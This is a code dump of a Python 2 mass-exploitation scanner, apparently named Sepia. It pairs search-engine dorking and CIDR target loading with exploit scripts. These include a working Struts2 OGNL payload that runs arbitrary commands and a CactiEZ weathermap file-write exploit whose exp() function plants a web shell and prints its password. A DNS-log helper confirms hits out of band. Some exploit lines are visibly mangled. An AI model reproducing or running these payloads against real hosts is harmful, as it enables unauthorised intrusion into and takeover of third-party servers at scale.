"?redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27"+command+"%27.toString().split(%27\\\\s%27))).start().getInputStream()).useDelimiter(%27\\\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}" 41 | response = requests.get(url=url, headers=header, timeout=5) 42 | print response.text.rstrip() 43 | -------------------------------------------------------------------------------- /plugin/extracts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | 5 | import re 6 | import requests 7 | 8 | 9 | def getIP(content, remove_duplicate=True, remove_private=False): 10 | """ 11 | Functions to extract IP from content string 12 | 13 | parameters: 14 | content 15 | remove_duplicate (default:true) 16 | remove_private (default:False) 17 | 18 | usage: 19 | from lib.util.extracts import * 20 | ip_list = getIP(content) 21 | 22 | private address: 23 | 10.0.0.0 - 10.255.255.255 24 | 172.16.0.0 - 172.31.255.255 25 | 192.168.0.0 - 192.168.255.255 26 | 127.0.0.0 - 127.255.255.255 27 | 28 | example: 29 | > print getIP('ffeac12.2.2.2asf^&10.10\n.1.1ffa2\n') 30 | ['12.2.2.2','10.10.1.1'] 31 | 32 | """ 33 | 34 | def _isPrivateIP(strict_IP): 35 | p1 = re.compile(r'^10\.|^172\.(?:1[6789]|2\d|31)\.|^192\.168\.|^127\.') 36 | return True if re.match(p1, strict_IP) else False 37 | 38 | content = content.replace('\n', ',') 39 | p = re.compile(r'(?:(?:2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(?:2[0-4]\d|25[0-5]|[01]?\d\d?)') 40 | _ = re.findall(p, content) 41 | ans = list(set(_)) if remove_duplicate else _ 42 | 43 | if remove_private: 44 | for each in ans: 45 | if _isPrivateIP(each): 46 | ans.remove(each) 47 | 48 | return ans 49 | 50 | 51 | def getTitle(input): 52 | """ 53 | Get title from html-content/ip/url 54 | 55 | :param input:html-content OR ip OR url 56 | :return text in 57 | :except return string:'NULL' 58 | """ 59 | try: 60 | if '<title>' in input: 61 | content = input 62 | else: 63 | url = 'http://' + input if '://' not in input else input 64 | content = requests.get(url,timeout=3).content 65 | return re.findall('<title>([\s\S]*)', content)[0].strip() 66 | except Exception: 67 | return '' 68 | -------------------------------------------------------------------------------- /lib/api/baidu/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import re 5 | import sys 6 | import urllib 7 | import urllib2 8 | from urlparse import urlparse, urlunsplit, urljoin 9 | from lib.core.common import getSafeExString 10 | from lib.core.enums import PROXY_TYPE 11 | from lib.utils.config import ConfigFileParser 12 | from lib.core.data import logger, conf 13 | from bs4 import BeautifulSoup as BS 14 | 15 | def get_domain(url): 16 | p = urlparse(url) 17 | return urlunsplit([p.scheme, p.netloc, '', '', '']) 18 | 19 | def iterate_path(ori_str): 20 | parser = urlparse(ori_str) 21 | _ans_list = [ori_str] 22 | _ans_list.append(get_domain(ori_str)) 23 | _path_list = parser.path.replace('//', '/').strip('/').split('/') 24 | s = '' 25 | for each in _path_list: 26 | s += '/' + each 27 | _ans_list.append(urljoin(ori_str, s)) 28 | return _ans_list 29 | 30 | def BaiduSearch(query, limit=10, offset=0): 31 | urllist = {''} 32 | regex = str(ConfigFileParser().UrlFilter()) 33 | try: 34 | while len(urllist)>> foo = AttribDict() 16 | >>> foo.bar = 1 17 | >>> foo.bar 18 | 1 19 | """ 20 | 21 | def __init__(self, indict=None, attribute=None): 22 | if indict is None: 23 | indict = {} 24 | 25 | # Set any attributes here - before initialisation 26 | # these remain as normal attributes 27 | self.attribute = attribute 28 | dict.__init__(self, indict) 29 | self.__initialised = True 30 | 31 | # After initialisation, setting attributes 32 | # is the same as setting an item 33 | 34 | def __getattr__(self, item): 35 | """ 36 | Maps values to attributes 37 | Only called if there *is NOT* an attribute with this name 38 | """ 39 | 40 | try: 41 | return self.__getitem__(item) 42 | except KeyError: 43 | raise ToolkitDataException("unable to access item '%s'" % item) 44 | 45 | def __setattr__(self, item, value): 46 | """ 47 | Maps attributes to values 48 | Only if we are initialised 49 | """ 50 | 51 | # This test allows attributes to be set in the __init__ method 52 | if "_AttribDict__initialised" not in self.__dict__: 53 | return dict.__setattr__(self, item, value) 54 | 55 | # Any normal attributes are handled normally 56 | elif item in self.__dict__: 57 | dict.__setattr__(self, item, value) 58 | 59 | else: 60 | self.__setitem__(item, value) 61 | 62 | def __getstate__(self): 63 | return self.__dict__ 64 | 65 | def __setstate__(self, dict): 66 | self.__dict__ = dict 67 | 68 | def __deepcopy__(self, memo): 69 | retVal = self.__class__() 70 | memo[id(self)] = retVal 71 | 72 | for attr in dir(self): 73 | if not attr.startswith('_'): 74 | value = getattr(self, attr) 75 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 76 | setattr(retVal, attr, copy.deepcopy(value, memo)) 77 | 78 | for key, value in self.items(): 79 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 80 | 81 | return retVal 82 | -------------------------------------------------------------------------------- /plugin/cloudeye.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding: utf-8 -*- 3 | 4 | 5 | """ 6 | CloudEye API 7 | 8 | Usage: 9 | c = CloudEye() 10 | a = c.getRandomDomain('cdxy') 11 | try: 12 | requests.get('http://' + a, timeout=1) 13 | except Exception: 14 | pass 15 | print c.verifyDNS(delay=0) 16 | print c.verifyHTTP(delay=0) 17 | print c.getDnsRecord(delay=0) 18 | print c.getHttpRecord(delay=0) 19 | """ 20 | 21 | import random 22 | import requests 23 | import time 24 | from string import ascii_lowercase 25 | from lib.utils.config import ConfigFileParser 26 | 27 | # load once for all thread 28 | key = ConfigFileParser().CloudEyeApikey() 29 | uniq_domain = ConfigFileParser().ColudEyePersonaldomain().split('.')[0] 30 | 31 | 32 | class CloudEye: 33 | def __init__(self): 34 | self.unique = uniq_domain 35 | self.random = ''.join([random.choice(ascii_lowercase) for _ in range(10)]) 36 | 37 | def getRandomDomain(self, custom='poc'): 38 | """ 39 | full domain = [random].[custom].[unique].dnslog.info 40 | e.g. fezarvgo.poc.ee8a6f.dnslog.info 41 | """ 42 | self.custom = custom 43 | return '%s.%s.%s.dnslog.info' % (self.random, self.custom, self.unique) 44 | 45 | def getDnsRecord(self, delay=2): 46 | time.sleep(delay) 47 | query = self.random + '.' + self.custom 48 | api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=query) 49 | return requests.post(api_base).content 50 | 51 | def getHttpRecord(self, delay=2): 52 | time.sleep(delay) 53 | query = self.random + '.' + self.custom 54 | api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=query) 55 | return requests.post(api_base).content 56 | 57 | def verifyDNS(self, delay=2): 58 | return 'dnslog.info' in self.getDnsRecord(delay) 59 | 60 | def verifyHTTP(self, delay=2): 61 | return 'dnslog.info' in self.getHttpRecord(delay) 62 | 63 | 64 | def queryDnsRecord(domain, delay=2): 65 | time.sleep(delay) 66 | domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.') 67 | api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=domain) 68 | return requests.post(api_base).content 69 | 70 | 71 | def queryHttpRecord(domain, delay=2): 72 | time.sleep(delay) 73 | domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.') 74 | api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=domain) 75 | return requests.post(api_base).content 76 | -------------------------------------------------------------------------------- /lib/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import os.path 5 | import traceback 6 | from lib.parse.cmdline import cmdLineParser #导入命令行解析模块 7 | from lib.core.option import initOptions 8 | from lib.controller.loader import loadModule, loadPayloads #导入脚本加载模块 9 | from lib.core.common import setPaths, banner, systemQuit 10 | from lib.core.data import paths, logger, cmdLineOptions 11 | from lib.core.enums import EXIT_STATUS 12 | from lib.core.settings import IS_WIN #判断是否为Windows 13 | from lib.core.exception import ToolkitUserQuitException 14 | from lib.core.exception import ToolkitMissingPrivileges 15 | from lib.core.exception import ToolkitSystemException 16 | from lib.controller.engine import run 17 | from thirdparty.colorama.initialise import init as winowsColorInit #导入第三方插件Colorama 18 | 19 | 20 | def main(): 21 | try: 22 | paths.ROOT_PATH = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) 23 | #得到当前py文件所在文件夹上一个文件夹目录赋值给paths.ROOT_PATH,也就是Sepia的根目录 24 | try: 25 | os.path.isdir(paths.ROOT_PATH) #此处判断path.ROOT_PATH得到的路径编码是否正常 26 | except UnicodeEncodeError: #出现编码错误就退出 27 | errMsg = "Your system does not properly handle non-ASCII paths. " 28 | errMsg += "Please move the project root directory to another location" 29 | logger.error(errMsg) 30 | raise SystemExit 31 | setPaths() #设置Sepia的文件路径和目录 32 | banner() #打印Sepia的logo 33 | ''' 34 | print "########以下为paths字典#########" 35 | print paths 36 | ''' 37 | #存储原始命令行选项,以备恢复 38 | ''' 39 | print "########以下为原始命令行参数#########" 40 | print cmdLineParser().__dict__ 41 | ''' 42 | #cmdLineParser().__dict__获得命令行参数数据字典并赋值给cmdLineOptions字典对象 43 | cmdLineOptions.update(cmdLineParser().__dict__) 44 | initOptions(cmdLineOptions) 45 | ''' 46 | print "########以下为cmdLineOption字典#########" 47 | print cmdLineOptions 48 | ''' 49 | 50 | if IS_WIN: #如果是Windows使用Colorama插件并初始化 51 | winowsColorInit() 52 | 53 | 54 | loadModule() #加载poc脚本 55 | loadPayloads() #配置扫描模式 56 | 57 | run() #开始扫描 58 | 59 | systemQuit(EXIT_STATUS.SYSETM_EXIT) 60 | 61 | except ToolkitMissingPrivileges, e: 62 | logger.error(e) 63 | systemQuit(EXIT_STATUS.ERROR_EXIT) 64 | 65 | except ToolkitSystemException, e: 66 | logger.error(e) 67 | systemQuit(EXIT_STATUS.ERROR_EXIT) 68 | 69 | except ToolkitUserQuitException: 70 | systemQuit(EXIT_STATUS.USER_QUIT) 71 | except KeyboardInterrupt: 72 | systemQuit(EXIT_STATUS.USER_QUIT) 73 | 74 | except Exception: 75 | print traceback.format_exc() 76 | logger.warning('It seems like you reached a unhandled exception, please report it to :s4kur4s4kur4@gmail.com') 77 | 78 | if __name__ == "__main__": 79 | main() 80 | -------------------------------------------------------------------------------- /script/cactiez_weathermap_file_write.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | # author = S4kur4 4 | _type = 'FW' 5 | """ 6 | CactiEZ weathermap plugin arbitary file write and getshell 7 | """ 8 | 9 | import requests 10 | import random 11 | 12 | def poc(url): 13 | try: 14 | if '://' not in url: 15 | url = 'http://' + url 16 | tmp = str(random.randint(1000,2000)) 17 | poc_payload = """/plugins/weathermap/editor.php?plug=0&mapname=tmp.txt&action=set_ma 18 | p_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_na 19 | me=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&l 20 | ink_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link 21 | _hover=&map_title={}&map_legend=Traffi 22 | c+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaul 23 | tbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&ma 24 | p_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=ov 25 | erlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyl 26 | e_legendfont=4&item_configtext=Name""".format(tmp) 27 | poc_response = requests.get(url=url.rstrip('/')+poc_payload) 28 | verify_response = requests.get(url.rstrip('/')+'/plugins/weathermap/configs/tmp.txt') 29 | if poc_response.status_code==200 and verify_response.status_code==200: 30 | if tmp in verify_response.text: 31 | return True 32 | else: 33 | return False 34 | except Exception: 35 | return False 36 | 37 | def exp(url): 38 | if '://' not in url: 39 | url = 'http://' + url 40 | exp_payload = """/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_ma 41 | p_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_na 42 | me=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&l 43 | ink_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link 44 | _hover=&map_title=&map_legend=Traffi 45 | c+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaul 46 | tbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&ma 47 | p_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=ov 48 | erlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyl 49 | e_legendfont=4&item_configtext=Name""" 50 | exp_response = requests.get(url=url.rstrip('/')+exp_payload) 51 | shell_response = requests.get(url.rstrip('/')+'/plugins/weathermap/configs/test.php)' 52 | if exp_response.status_code==200 and shell_response.status_code==200: 53 | print "Getshell success:{}/plugins/weathermap/configs/test.php".format(url.rstrip('/')) 54 | print "Password:cntr" 55 | -------------------------------------------------------------------------------- /lib/controller/loader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import Queue 5 | import sys 6 | import imp 7 | import os 8 | from lib.core.data import th, conf, logger, paths 9 | from lib.core.enums import TARGET_MODE_STATUS 10 | from lib.core.settings import ESSENTIAL_MODULE_METHODS 11 | from lib.core.exception import ToolkitValueException 12 | from lib.controller.api import runApi 13 | from thirdparty.IPy import IPy 14 | 15 | 16 | def loadModule(): 17 | _name = conf.MODULE_NAME #加载的脚本名 18 | msg = 'Load script: %s' % _name 19 | logger.info(msg) 20 | #在脚本文件夹中查找_name文件 21 | fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [paths.SCRIPT_PATH]) 22 | try: 23 | th.module_obj = imp.load_module("_", fp, pathname, description) #加载找到的模块 24 | for each in ESSENTIAL_MODULE_METHODS: #ESSENTIAL_MODULE_METHODS=['poc'] 25 | if not hasattr(th.module_obj, each): #如果模块中不存在'poc'方法就提醒并退出 26 | errorMsg = "Can't find essential method:'%s()' in current script,Please modify your script/PoC".format(each) 27 | sys.exit(logger.error(errorMsg)) 28 | except ImportError, e: #模块加载失败就抛出异常 29 | errorMsg = "Your current scipt [%s.py] caused this exception\n%s\n%s" \ 30 | % (_name, '[Error Msg]: ' + str(e), 'Maybe you can download this module from pip or easy_install') 31 | sys.exit(logger.error(errorMsg)) 32 | 33 | 34 | def loadPayloads(): 35 | infoMsg = 'Initialize targets...' 36 | logger.info(infoMsg) 37 | th.queue = Queue.Queue() #创建扫描目标队列 38 | if conf.TARGET_MODE is TARGET_MODE_STATUS.FILE: #conf.TARGET_MOD=9 -f模式 39 | file_mode() 40 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.IPMASK: #conf.TARGET_MOD=7 -c模式 41 | cidr_mode() 42 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.SINGLE: #conf.TARGET_MOD=8 -u模式 43 | single_target_mode() 44 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.API: #conf.TARGET_MOD=5 API模式 45 | api_mode() 46 | 47 | else: 48 | raise ToolkitValueException('conf.TARGET_MODE value ERROR.') 49 | logger.info('Total: %s' % str(th.queue.qsize())) 50 | 51 | 52 | def file_mode(): 53 | for line in open(conf.INPUT_FILE_PATH): #读取文件中的每行并丢进队列 54 | sub = line.strip() 55 | if sub: 56 | th.queue.put(sub) 57 | 58 | 59 | def cidr_mode(): 60 | ori_str = conf.NETWORK_STR 61 | try: 62 | _list = IPy.IP(ori_str) #使用IPy插件得到IP列表 63 | except Exception, e: 64 | sys.exit(logger.error('Invalid IP/MASK,%s' % e)) 65 | for each in _list: #将IP列表丢进队列 66 | th.queue.put(str(each)) 67 | 68 | 69 | def single_target_mode(): 70 | th.queue.put(str(conf.SINGLE_TARGET_STR)) 71 | 72 | 73 | def api_mode(): 74 | conf.API_OUTPUT = os.path.join(paths.DATA_PATH, conf.API_MODE) 75 | if not os.path.exists(conf.API_OUTPUT): 76 | os.mkdir(conf.API_OUTPUT) 77 | 78 | file = runApi() 79 | for line in open(file): 80 | sub = line.strip() 81 | if sub: 82 | th.queue.put(sub) 83 | -------------------------------------------------------------------------------- /lib/core/register.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | 用于注册互斥的参数并给出错误提示 6 | 7 | Register() 8 | start 最少通过量 9 | stop 最大通过量 10 | mutex 互斥开关 11 | mutex_errmsg 错误提示 12 | 13 | add() 14 | perform 目标函数 15 | trigger 触发条件 16 | args 参数传入 17 | kwargs 参数传入 18 | 19 | Usage: 20 | r = Register() 21 | r.add(function1,1>1) 22 | r.add(function2,2>1) 23 | r.add(function3,3>1) 24 | r.run() 25 | 26 | """ 27 | 28 | import types 29 | import sys 30 | from lib.core.data import logger 31 | from lib.core.exception import RegisterDataException, RegisterMutexException, RegisterValueException 32 | 33 | 34 | class Register: 35 | def __init__(self, start=1, stop=1, mutex_errmsg=None, mutex=True): 36 | self.targets = [] 37 | self.mutex = mutex 38 | self.start = start 39 | self.stop = stop 40 | self.mutex_errmsg = mutex_errmsg 41 | self.verified = [] 42 | 43 | def enable_mutex(self): 44 | self.mutex = True 45 | 46 | def set_mutex_errmsg(self, s): 47 | self.mutex_errmsg = str(s) 48 | 49 | def add(self, perform, trigger, args=(), kwargs=None): 50 | if kwargs is None: 51 | kwargs = {} 52 | d = {'perform': perform, 'args': args, 'kwargs': kwargs, 'trigger': trigger} 53 | self.targets.append(d) 54 | self.__args = args 55 | self.__kwargs = kwargs 56 | 57 | def run(self): 58 | self.__pretreat() 59 | for target in self.verified: 60 | if not target.get('perform'): 61 | msg = 'Register has no verified target' 62 | raise RegisterDataException(msg) 63 | target.get('perform')(*target.get('args'), **target.get('kwargs')) 64 | 65 | def __pretreat(self): 66 | self.__input_vector_check() 67 | for __target in self.targets: 68 | __trigger = __target.get('trigger') 69 | if type(__trigger) is types.BooleanType or type(__trigger) is types.StringType: 70 | if __trigger: 71 | self.verified.append(__target) 72 | else: 73 | msg = '[Trigger Type Error] Expected:boolean,found:' + str(type(__trigger)) 74 | raise RegisterValueException(msg) 75 | self.__mutex_check() 76 | 77 | def __mutex_check(self): 78 | if self.mutex: 79 | if len(self.verified) < self.start or len(self.verified) > self.stop: 80 | if self.mutex_errmsg is None: 81 | raise RegisterMutexException('mutex error,verified func count: ' + str(len(self.verified))) 82 | else: 83 | sys.exit(logger.error(self.mutex_errmsg)) 84 | 85 | def __input_vector_check(self): 86 | if type(self.stop) is types.IntType and type(self.start) is types.IntType and type( 87 | self.mutex) is types.BooleanType: 88 | pass 89 | else: 90 | raise RegisterValueException('Register init func type error') 91 | if len(self.targets) is 0: 92 | msg = 'no target' 93 | raise RegisterDataException(msg) 94 | if self.start > self.stop: 95 | msg = 'start > stop' 96 | raise RegisterDataException(msg) 97 | -------------------------------------------------------------------------------- /lib/parse/cmdline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import argparse 5 | import sys 6 | from lib.core.settings import VERSION 7 | 8 | 9 | def cmdLineParser(): 10 | parser = argparse.ArgumentParser(description='Example: python sepia.py -s s2045-rce -baidu "inurl:login.action"', add_help=False) 11 | 12 | #第一项optional_arguments,基础相关项 13 | optional_arguments = parser.add_argument_group('Options') 14 | optional_arguments.add_argument('-h', '--help', action='help', help='Show help message and exit') 15 | optional_arguments.add_argument('-v', '--version', action='version', version='Version:'+VERSION, help="Show program's version number and exit") 16 | 17 | #第二项engine_mode,扫描引擎配置项 18 | engine_mode = parser.add_argument_group('Engine') 19 | engine_mode.add_argument('--threads', dest="engine_thread", default=False, action='store_true', help='Multi-Threaded engine (default choice)') 20 | engine_mode.add_argument('--gevent', dest="engine_gevent", default=False, action='store_true', help='Gevent engine (single-threaded with asynchronous)') 21 | engine_mode.add_argument('--number', metavar='NUMBER', dest="thread_num", type=int, default=10, help='number of threads/concurrent (default:10)') 22 | 23 | #第三项script,脚本配置项 24 | script = parser.add_argument_group('Script') 25 | script.add_argument('-s', metavar='SCRIPT', dest="script_name", type=str, default='', help='Load script by name (-s jboss-rce) or path (-s ./script/jboss.py)') 26 | script.add_argument('--search', metavar='KEYWORDS', dest="search_script", type=str, help='Fuzzy search script by keywords (--search jboss)') 27 | script.add_argument('--list', dest="list_scripts", default=False, action='store_true', help='List available script names in ./script/ and exit') 28 | 29 | #第四项target,扫描目标配置项 30 | target = parser.add_argument_group('Target') 31 | target.add_argument('-t', '--target', metavar='URL&IP', dest="target_urlip", type=str, default='', help='Target URL or IP(e.g. http://www.targetsite.com/)') 32 | target.add_argument('-f', '--file', metavar='URLFILE', dest="target_file", type=str, default='', help='Load targets from targetFile (e.g. ./data/wooyun_domain)') 33 | target.add_argument('-c', '--cidr', metavar='CIDR', dest="target_cidr", type=str, default='', help='Read a CIDR (e.g. 10.0.1.0/24)') 34 | 35 | #第五项api,扫描数据接口配置项 36 | api = parser.add_argument_group('API') 37 | api.add_argument('-zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='', help='ZoomEye dork (e.g. "zabbix port:8080")') 38 | api.add_argument('-baidu', metavar='DORK', dest="baidu_dork", type=str, default='', help='Baidu dork (e.g. "inurl:login.action")') 39 | api.add_argument('--limit', metavar='NUMBER', dest="api_limit", type=int, default=10, help='Maximum searching results (default:10)') 40 | api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0, help="Search offset to begin getting results from (default:0)") 41 | api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host', help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)") 42 | 43 | if len(sys.argv) == 1: 44 | sys.exit('sepia.py: error: missing a mandatory option (-s, -t|-f|-c|-zoomeye|-baidu), use -h for help') 45 | args = parser.parse_args() 46 | return args 47 | -------------------------------------------------------------------------------- /lib/utils/console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | """ 5 | getTerminalSize() 6 | - 获取命令行窗口的高度和宽度 返回一个两位数tuple (width, tuple) 7 | - get width and height of console 8 | - works on linux,os x,windows,cygwin(windows) 9 | """ 10 | 11 | import os 12 | 13 | __all__ = ['getTerminalSize'] 14 | 15 | 16 | def getTerminalSize(): 17 | import platform 18 | current_os = platform.system() 19 | tuple_xy = None 20 | if current_os == 'Windows': 21 | tuple_xy = _getTerminalSize_windows() 22 | if tuple_xy is None: 23 | tuple_xy = _getTerminalSize_tput() 24 | # needed for window's python in cygwin's xterm! 25 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): 26 | tuple_xy = _getTerminalSize_linux() 27 | if tuple_xy is None: 28 | print "default" 29 | tuple_xy = (80, 25) # default value 30 | return tuple_xy 31 | 32 | 33 | def _getTerminalSize_windows(): 34 | res = None 35 | try: 36 | from ctypes import windll, create_string_buffer 37 | 38 | # stdin handle is -10 39 | # stdout handle is -11 40 | # stderr handle is -12 41 | 42 | h = windll.kernel32.GetStdHandle(-12) 43 | csbi = create_string_buffer(22) 44 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 45 | except Exception: 46 | return None 47 | if res: 48 | import struct 49 | (bufx, bufy, curx, cury, wattr, 50 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 51 | sizex = right - left + 1 52 | sizey = bottom - top + 1 53 | return sizex, sizey 54 | else: 55 | return None 56 | 57 | 58 | def _getTerminalSize_tput(): 59 | # get terminal width 60 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 61 | try: 62 | import subprocess 63 | proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 64 | output = proc.communicate(input=None) 65 | cols = int(output[0]) 66 | proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 67 | output = proc.communicate(input=None) 68 | rows = int(output[0]) 69 | return (cols, rows) 70 | except Exception: 71 | return None 72 | 73 | 74 | def _getTerminalSize_linux(): 75 | def ioctl_GWINSZ(fd): 76 | try: 77 | import fcntl, termios, struct 78 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 79 | except Exception: 80 | return None 81 | return cr 82 | 83 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 84 | if not cr: 85 | try: 86 | fd = os.open(os.ctermid(), os.O_RDONLY) 87 | cr = ioctl_GWINSZ(fd) 88 | os.close(fd) 89 | except Exception: 90 | pass 91 | if not cr: 92 | try: 93 | cr = (env['LINES'], env['COLUMNS']) 94 | except Exception: 95 | return None 96 | return int(cr[1]), int(cr[0]) 97 | 98 | 99 | if __name__ == "__main__": 100 | sizex, sizey = getTerminalSize() 101 | print 'width =', sizex, 'height =', sizey 102 | -------------------------------------------------------------------------------- /plugin/util.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*-coding:utf-8 -*- 3 | 4 | import random 5 | import hashlib 6 | import requests 7 | import socket 8 | import re 9 | from string import ascii_lowercase, digits 10 | from urlparse import urlparse 11 | 12 | 13 | def randomString(length=8): 14 | """ 15 | 生成随机字母串 16 | 17 | :param length:生成字符串长度 18 | :return 字母串 19 | """ 20 | return ''.join([random.choice(ascii_lowercase) for _ in range(length)]) 21 | 22 | 23 | def randomDigits(length=8): 24 | """ 25 | 生成随机数字串 26 | 27 | :param length:生成字符串长度 28 | :return 数字串 29 | """ 30 | return ''.join([random.choice(digits) for _ in range(length)]) 31 | 32 | 33 | def randomMD5(length=10, hex=True): 34 | """ 35 | 生成随机MD5键值对 36 | 37 | :param length:指定明文长度 38 | :param hex:指定密文长度为32位 39 | :returns 原文,密文(32位或16位) 40 | """ 41 | plain = randomDigits(length) 42 | m = hashlib.md5() 43 | m.update(plain) 44 | cipher = m.hexdigest() if hex else m.hexdigest()[8:-8] 45 | return [plain, cipher] 46 | 47 | 48 | def redirectURL(url, timeout=3): 49 | """ 50 | 获取跳转后的真实URL 51 | 52 | :param url:原始URL 53 | :param timeout:超时时间 54 | :return 跳转后的真实URL 55 | """ 56 | try: 57 | url = url if '://' in url else 'http://' + url 58 | r = requests.get(url, allow_redirects=False, timeout=timeout) 59 | return r.headers.get('location') if r.status_code == 302 else url 60 | except Exception: 61 | return url 62 | 63 | 64 | def host2IP(url): 65 | """ 66 | URL转IP 67 | 68 | :param url:原始URL 69 | :return IP:PORT 70 | :except 返回原始URL 71 | """ 72 | for offset in url: 73 | if offset.isalpha(): 74 | break 75 | else: 76 | return url 77 | try: 78 | url = url if '://' in url else 'http://' + url # to get netloc 79 | url = urlparse(url).netloc 80 | ans = [i for i in socket.getaddrinfo(url.split(':')[0], None)[0][4] if i != 0][0] 81 | if ':' in url: 82 | ans += ':' + url.split(':')[1] 83 | return ans 84 | except Exception: 85 | return url 86 | 87 | 88 | def IP2domain(base, timeout=3): 89 | """ 90 | IP转域名 91 | 92 | :param base:原始IP 93 | :param timeout:超时时间 94 | :return 域名 / False 95 | :except 返回False 96 | """ 97 | try: 98 | domains = set() 99 | ip = base.split(':')[0] if ':' in base else base 100 | q = "https://www.bing.com/search?q=ip%3A" + ip 101 | c = requests.get(url=q, 102 | headers={ 103 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0'}, 104 | timeout=timeout 105 | ).content 106 | p = re.compile(r'(.*?)') 107 | l = re.findall(p, c) 108 | for each in l: 109 | domain = each.split('://')[-1].split('/')[0] 110 | domains.add(domain) 111 | if len(domains) > 0: 112 | ans_1 = base + ' -> ' 113 | for each in domains: 114 | ans_1 += '|' + each 115 | return ans_1 116 | else: 117 | return False 118 | except Exception: 119 | return False 120 | 121 | 122 | def checkPortTcp(target, port, timeout=3): 123 | """ 124 | 检查端口是否开放 125 | 126 | :param target:目标IP 127 | :param port:目标端口 128 | :param timeout:超时时间 129 | :return True / False 130 | :except 返回False 131 | """ 132 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 133 | sk.settimeout(timeout) 134 | try: 135 | sk.connect((target, port)) 136 | return True 137 | except Exception: 138 | return False 139 | -------------------------------------------------------------------------------- /thirdparty/colorama/win32.py: -------------------------------------------------------------------------------- 1 | 2 | # from winbase.h 3 | STDOUT = -11 4 | STDERR = -12 5 | 6 | try: 7 | from ctypes import windll 8 | except ImportError: 9 | windll = None 10 | SetConsoleTextAttribute = lambda *_: None 11 | else: 12 | from ctypes import ( 13 | byref, Structure, c_char, c_short, c_uint32, c_ushort 14 | ) 15 | 16 | handles = { 17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT), 18 | STDERR: windll.kernel32.GetStdHandle(STDERR), 19 | } 20 | 21 | SHORT = c_short 22 | WORD = c_ushort 